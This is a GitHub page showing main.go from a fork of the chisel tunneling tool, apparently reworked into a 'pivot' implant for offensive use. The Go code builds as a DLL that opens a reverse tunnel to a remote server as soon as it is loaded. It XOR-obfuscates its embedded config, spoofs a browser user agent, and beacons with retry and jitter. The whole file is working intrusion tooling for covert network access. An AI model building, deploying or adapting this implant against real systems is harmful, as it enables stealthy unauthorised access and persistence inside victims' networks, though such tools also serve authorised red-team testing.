forked from jpillora/chisel
-
Notifications
You must be signed in to change notification settings - Fork 0
/
main.go
292 lines (255 loc) · 7.27 KB
/
main.go
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
package main
import "C"
import (
"bytes"
"encoding/base64"
"fmt"
"github.com/aus/proxyplease"
"io/ioutil"
"log"
"math/rand"
"unsafe"
"net"
"net/http"
"net/url"
"os"
"strconv"
"time"
chclient "github.com/codaul/volume/client"
_ "github.com/aus/proxyplease"
"github.com/spf13/viper"
)
var d = net.Dialer{}
var dialContext = d.DialContext
// a make step will encode config.toml file to a string and embed as build variable
var pivotConfig string
func init() {
rand.Seed(time.Now().UTC().UnixNano())
}
//export OnProcessAttach
func OnProcessAttach(
hinstDLL unsafe.Pointer, // handle to DLL module
fdwReason uint32, // reason for calling function
lpReserved unsafe.Pointer, // reserved
) {
Pivot(pivotConfig)
}
//export Test
func Test() {
Pivot(pivotConfig)
}
func main() {
// TODO: clean this up
switch len(os.Args) {
case 2:
// run encoded config from command line args
Pivot(os.Args[1])
case 3:
// if args "encode filename.toml", then print encoded config and exit
fmt.Println(encode(os.Args[2]))
os.Exit(0)
default:
Pivot(pivotConfig)
}
}
func Hello(msg string){
fmt.Println(msg)
}
// Pivot is the entry point for fhizel-pivot. It takes an encoded config as a parameter.
func Pivot(config string) {
// prepare config defaults
setDefaults()
// read in config
viper.SetConfigType("yaml")
err := viper.ReadConfig(bytes.NewBuffer([]byte(decode(config))))
if err != nil {
panic(fmt.Errorf("Fatal error config file: %s", err))
}
// proxy setup
// proxyplease module expects some parameters to be nil if unconfigured
// so convert any empty proxy parameters to nil just in case
proxyurl, err := url.Parse(viper.GetString("server.proxy.url"))
if err != nil {
panic(fmt.Errorf("Error parsing proxy url: %s", err))
}
if proxyurl.String() == "" {
proxyurl = nil
}
proxytargeturl, _ := url.Parse(viper.GetString("server.proxy.targeturl"))
if err != nil {
panic(fmt.Errorf("Error parsing proxy target url: %s", err))
}
if proxytargeturl.String() == "" {
proxytargeturl = nil
}
proxyauthschemes := viper.GetStringSlice("server.proxy.authschemes")
if len(proxyauthschemes) == 1 {
if proxyauthschemes[0] == "" {
proxyauthschemes = nil
}
}
proxyuser := viper.GetString("server.proxy.username")
proxypass := viper.GetString("server.proxy.password")
proxydomain := viper.GetString("server.proxy.domain")
proxyhdrs := parseHeaders(viper.GetStringMapString("server.proxy.headers"))
// build proxy dialContext
pp := proxyplease.Proxy{
URL: proxyurl,
Username: proxyuser,
Password: proxypass,
Domain: proxydomain,
AuthSchemeFilter: proxyauthschemes,
TargetURL: proxytargeturl,
Headers: &proxyhdrs,
}
_ = pp
if viper.GetString("server.proxy.url") == "direct" {
fmt.Println("Forcing direct connection")
} else {
dialContext = proxyplease.NewDialContext(pp)
}
// prepare fhizel client config
urls := viper.GetStringSlice("server.urls")
remotes := parseRemotes(viper.GetStringSlice("server.remotes"))
hdrs := parseHeaders(viper.GetStringMapString("server.headers"))
ka, err := time.ParseDuration(viper.GetString("server.keepalive"))
if err != nil {
panic(fmt.Errorf("Error parsing server.keepalive duration: %s", err))
}
sleep, err := time.ParseDuration(viper.GetString("server.sleep"))
if err != nil {
panic(fmt.Errorf("Error parsing server.sleep duration: %s", err))
}
mri, err := time.ParseDuration(viper.GetString("server.maxretryinterval"))
if err != nil {
panic(fmt.Errorf("Error parsing server.maxretryinterval duration: %s", err))
}
mrc := viper.GetInt("server.maxretrycount")
fingerprint := viper.GetString("server.fingerprint")
auth := viper.GetString("server.auth")
jitter := viper.GetInt("server.jitter")
giveupafter := viper.GetInt("server.giveupafter")
attempt := 0
giveup := false
// connect loop
for giveup == false {
// shuffle urls if requested
if viper.GetBool("server.shuffle") && len(urls) > 1 {
rand.Shuffle(len(urls), func(i, j int) { urls[i], urls[j] = urls[j], urls[i] })
}
// attempt each url
for _, url := range urls {
attempt++
// shuffle ports again if randomized
remotes = parseRemotes(viper.GetStringSlice("server.remotes"))
c, err := chclient.NewClient(&chclient.Config{
Fingerprint: fingerprint,
Auth: auth,
KeepAlive: ka,
MaxRetryCount: mrc,
MaxRetryInterval: mri,
Server: url,
Remotes: remotes,
Headers: hdrs,
DialContext: dialContext,
})
if err != nil {
log.Fatal(err)
}
c.Debug = true
err = c.Run() // blocks until disconnect
if err != nil {
log.Println(err)
}
// give up?
if attempt >= giveupafter && giveupafter > 0 {
log.Println("client: Max attempts reached. Giving up!")
giveup = true
break
}
// now sleep between attempts
snooze(sleep, jitter)
// TODO: if expired, return
}
}
}
func snooze(sleep time.Duration, jitter int) {
if jitter > 0 {
sleepF64 := float64(sleep)
jitterF64 := float64(jitter) / 100
min := sleepF64 - (sleepF64 * jitterF64)
max := sleepF64 + (sleepF64 * jitterF64)
t := rand.Int63n(int64(max)) + int64(min)
sleep = time.Duration(t)
}
log.Printf("client: Sleeping %s...", sleep.Round(time.Second).String())
time.Sleep(sleep)
}
func decode(s string) string {
decoded, err := base64.StdEncoding.DecodeString(s)
if err != nil {
fmt.Printf("Error decoding string: %s ", err.Error())
return ""
}
var output string
// so l33t
k := "fhizel"
for i := 0; i < len(decoded); i++ {
output += string(decoded[i] ^ k[i%len(k)])
}
return output
}
func encode(filename string) string {
file, err := os.Open(filename)
if err != nil {
log.Fatal(err)
}
defer file.Close()
b, err := ioutil.ReadAll(file)
// XOR
k := "fhizel"
for i := 0; i < len(b); i++ {
b[i] = b[i] ^ k[i%len(k)]
}
// b64 encode
encoded := make([]byte, base64.StdEncoding.EncodedLen(len(b)))
base64.StdEncoding.Encode(encoded, b)
return string(encoded)
}
func parseHeaders(s map[string]string) http.Header {
// for each key, value insert into http.Header type
hdrs := make(http.Header)
for k, v := range s {
hdrs.Set(k, v)
}
return hdrs
}
func parseRemotes(remotes []string) []string {
// convert '#' to random digit. useful for avoiding port conflicts.
for i, remote := range remotes {
remote := []byte(remote)
for i := 0; i < len(remote); i++ {
if remote[i] == '#' {
rstr := strconv.Itoa(rand.Intn(9))
remote[i] = rstr[0]
}
}
remotes[i] = string(remote)
}
return remotes
}
func setDefaults() {
viper.SetDefault("server.urls", []string{"https://fhizel-demo.herokuapp.com"})
viper.SetDefault("server.remotes", []string{"3###"})
viper.SetDefault("server.headers.User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0")
viper.SetDefault("server.proxy.headers.User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0")
viper.SetDefault("server.keepalive", "5s")
viper.SetDefault("server.shuffle", true)
viper.SetDefault("server.maxretrycount", 0)
viper.SetDefault("server.maxretryinterval", "10s")
viper.SetDefault("server.giveupafter", 0)
viper.SetDefault("server.sleep", "10s")
viper.SetDefault("server.jitter", 0)
// TODO: expire default variable
// TODO: multiple [server] support
}